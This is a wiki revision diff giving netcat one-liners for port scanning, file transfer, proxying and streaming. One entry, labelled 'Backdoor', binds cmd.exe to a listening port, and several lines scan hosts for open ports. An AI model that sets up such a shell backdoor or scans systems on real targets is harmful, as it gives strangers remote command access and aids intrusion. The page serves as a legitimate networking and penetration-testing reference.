NetCat: Difference between revisions
no edit summary
m (m) |
No edit summary |
||
(2 intermediate revisions by the same user not shown) | |||
Line 6:
nc -v -w 2 -z 10.66.10.23 20-30
netcat -z -n -v 111.111.111.111 1-1000 2>&1 | grep succeeded
while true; do nc -z -n -v 111.111.111.111 2>&1 | grep succeeded; sleep 1; done
* Host a website
Line 17 ⟶ 18:
* Backdoor
nc -L -p 10001 -d -e cmd.exe
Here:
-L not close and wait for connections
-p port to listen
Line 30 ⟶ 33:
* File transfer
cat file.txt | nc -l 4009
nc 10.10.10.10 4009 > file.txt
Line 39 ⟶ 42:
Execute on remote PC
netcat domain.com 4444
* Create a web proxy
mkfifo proxypipe
while true; do nc -l 5000 0<proxypipe | nc www.google.com 80 1> proxypipe; done
You can access Google by
http://127.0.0.1:5000.
* Create an SSL proxy
mkfifo proxypipe
mkfifo proxypipe2
nc -l 5000 -k > proxypipe < proxypipe2 &
while true; do openssl s_client -connect www.google.com:443 -quiet < proxypipe > proxypipe2; done
*Stream a video file
On server:
cat video.avi | nc -l 5000
On Client:
nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -
=Socat=
|